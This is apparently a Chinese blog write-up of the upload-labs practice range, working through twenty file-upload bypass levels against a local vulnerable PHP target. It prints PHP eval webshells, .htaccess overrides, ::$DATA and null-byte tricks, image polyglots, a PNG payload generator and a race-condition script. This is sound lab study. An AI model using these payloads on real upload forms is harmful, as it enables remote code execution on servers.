upload-labs

该文章更新于 2024.07.21

记录一个upload-labs靶场的全过程。

介绍

个人认为这个靶场还是挺不错的,推荐一下。并且这个是有releases版本的,避免了繁琐的环境搭建,对新手也很友好。使用说明:

找到解压目录,先打开bat文件,再使用PhpStudy.exe,点击打开.这样就启动好了。访问本地的80端口即可。不加也行,是默认访问80端口的。

image-20240326173033328

可以看到启动成功了

image-20240326173303015

第一关

image-20240326173714501

js前端检验,直接关掉再上传php即可。

一句话木马如下

1
<?= @eval($_REQUEST['a']);phpinfo();?>

image-20240326175127489

访问即可

第二关

1
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

存在对类型的检测。

bp抓包改一下Content-Type

1
2
Content-Disposition: form-data; name="upload_file"; filename="a.php"
Content-Type: image/png

image-20240326175744988

第三关

存在后缀黑名单,但是黑名单太弱了,用phtml绕过。

访问不到,看下改了名字。

image-20240326180157135

image-20240326180242567

第四关

1
2
3
4
5
6
7
8
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

这次的黑名单就丰富的多了。

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。用于防止非预期。这题只检验了一些一句话木马的后缀,没有检验htaccess,ini等。估计考点就是这个

image-20240326182107264

将木马名字修改,再上传htaccess文件。

1
2
3
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样只要名字包含jpg都可被当作php解析。

第五关

这次htaccess也在黑名单。

这里一开始以为是使用刚刚提到的.user.ini来包含一句话木马,但是上传目录下面没有php文件所以实现不了。

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

这里由于没有转小写,爆破试了一些,发现好多都可以绕过。(看响应长度)随便选一个就行。这也告诉我们黑名单还是太容易出问题了。

image-20240326222208840

image-20240326222558058

第六关

这关是代码里把去空格的功能删掉了。传php 就好了。写了这几关下来,感觉就是把一些常见的漏洞分开放,培养一些我们审计php代码的能力。

image-20240326223551147

第七关

去掉了除去点的功能

这样的话我们上传a.php.,获取$file_ext = strrchr($file_name, ‘.’);这个就获取不到我们的php后缀,这样绕过黑名单。

image-20240326223851569

第八关

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。用于防止非预期。这题只检验了一些一句话木马的后缀,没有检验htaccess,ini等。估计考点就是这个

这关要用到我们提到的::$DATA,传入a.php::$DATA

image-20240326224458521

可以看到上传成功,然后访问upload/202403262243399335.php即可,也就是说把::$DATA去掉

image-20240326224608083

第九关

1
2
3
4
5
6
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传a.php. .

验证过程,deldot发现有一个点,去掉。trim又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php.

Tips:利用Windows下文件后添加的点会自动忽略

上传成功,也可以解析成功。

image-20240326230117045

我看了看上传目录,文件里就是一个a.php文件。但是一样可以解析,不必理会。

第十关

存在替换

$file_name = str_ireplace($deny_ext,"", $file_name);

直接双写绕过。

上传a.pphphp

image-20240326231305215

第十一关

image-20240326231432640

注意到,路径直接在请求包里给出了。00截断一下。

image-20240326231754463

filename以png结尾绕过检测,save_path以php%00结尾。同时我们注意到src的上传文件有问题,这是拼接的问题,实际上我们可以看一下upload文件夹,确实是只有a.php的。

image-20240326232119276

第十二关

这里是post的00截断

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

如果我们还是加个%00的话,上传会失败。

这就需要我们手动改hex了。

image-20240326232747258

这里随便填一个字符。找到对应位置改成00即可

image-20240326233117453

发包,访问。

image-20240326233209988

第十三关

上传图片马,并且三种后缀都要,我就只上传一种了,原理都是一样的。

分析一下检测原理吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

说白了读取前两个字节转换成数字,与给定的三种情况一致即可。那这个题实际不需要图片马,也可以成功。直接加个文件头就行了。

我直接拿个图片马上传了

include.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

这个文件包含的点在题目中没有找到,直接翻根目录找的。

image-20240327221854987

第十四关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

这关检测方式有点区别,但是没什么用,直接加个文件头一样能绕过

1
2
GIF89a
<?= @eval($_REQUEST['a']);phpinfo();?>

image-20240327223039473

第十五关

感觉一个方法直接打通三关了。不懂出题人的考点是什么。

image-20240327223902945

第十六关

这一次,上传不上去了。那上传一个真的图片马,发现没有出现phpinfo。把上传的图片下载出来看看。

image-20240327224856211

使用010比较一下不同。

image-20240328220920194

这里的话png的绕过会显得更加复杂,如果是gif,直接在相同的地方,将我们的php木马覆盖进去即可。但是png直接覆盖的话图片会失效。这里看了这位师傅写的文章。因为:

png图片由3个以上的数据块组成。  PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

我们插入后要保证图片格式不出问题。感兴趣的师傅可以去这位师傅文章看具体实现。

这里我使用的是他讲的第二个方法。这个方法就简单一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

image-20240327232316405

使用php上传图片,再把它下载之后发现存在

<?=$_GET[0]($_POST[1]);?>

image-20240327232750231

rce成功。

第十七关

代码审计

1
2
3
4
5
6
7
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);

存在卸载操作。我们只要访问够快,代码执行不过来,在木马没被删除的时候访问就成功生成了php文件

先开个python访问

1
2
3
4
5
6
7
url = "http://127.0.0.1/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("YES,you upload it!")
else:
print("NO")

一句话木马

1
<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>')?>

一直发空包。拉大进程更容易成功。

image-20240327233657201

一边发木马,一边访问a.php

具体步骤:

先启动python。

木马包:

image-20240328123556419

访问包:

image-20240328123608463

两个都不需要负载。

image-20240328123655751

成功。其实不要pyhton也可以,直接看访问包的状态码。效果是一样的。

image-20240328123810520

第十八关

变成了发图片马。题目会改我们的名字,但是一样需要时间执行。具体流程一样

这一关上传路径出了点问题。具体来说是路径拼接有问题,少了一个/。导致文件没有上传到upload目录下,而是上传到了根目录下,并且给文件多了给upload前缀。可以根据这篇文章改一下。

成功。

image-20240328130652733

但这里生成的shell.php在根目录下,可能是因为myupload.php的问题?。这是因为include.php在根目录下,文件包含也会在当前目录生成shell.php文件。

image-20240328130922309

第十九关

1
2
3
4
5
6
7
8
9
10
11
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

注意到这里是先检查后缀,再使用move_uploaded_file移动位置。由于move_uploaded_file会忽略/.

pathinfo只会返回最后一个.后面的信息。

move_uploaded_file 函数在处理文件移动时会忽略文件名中的点号 .。这通常不会引起问题,因为点号在文件名中通常用于表示文件扩展名的分隔符。例如,如果你的文件名是 a.php/.move_uploaded_file 会将其移动到目标路径,并将文件名视为 a.php

image-20240328205901918

image-20240328210301555

访问。

image-20240328210323442

第二十关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

看了一下源代码。

这个是之前没有点。估计重点就是这个$file_name = reset($file) . '.' . $file[count($file) - 1];

我们先来分析这个的意思。

  1. 首先,$file 是一个数组,其中包含了文件名的各个部分(例如,路径、文件名、扩展名等)。
  2. reset($file) 返回数组中的第一个元素,即文件名的一部分。
  3. $file[count($file) - 1] 返回数组数量元素减一个的那个元素,及倒数第二
  4. 通过将这两部分连接在一起,代码构建了一个新的文件名。

例如,如果 $file 包含以下内容:

  • $file[0]"a
  • $file[1]"example"
  • $file[2]"php"

那么 $file_name 将被设置为 "a.php"

那么很明显漏洞就出在这里了。再看如何利用。

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

这里有个三目运算,如果为POST参数为空定义$file变量。save_name可控。

$ext = end($file);检测数组最后一个元素的值是否在白名单内

如果file只有两个值,那么会拼接0和1索引。再传入0和2,这样的话绕过检测,并且拼接一个空。

image-20240328211719309

image-20240328211731397

image-20240328211759088

OOOOOOOOOOK!!!!

完结撒花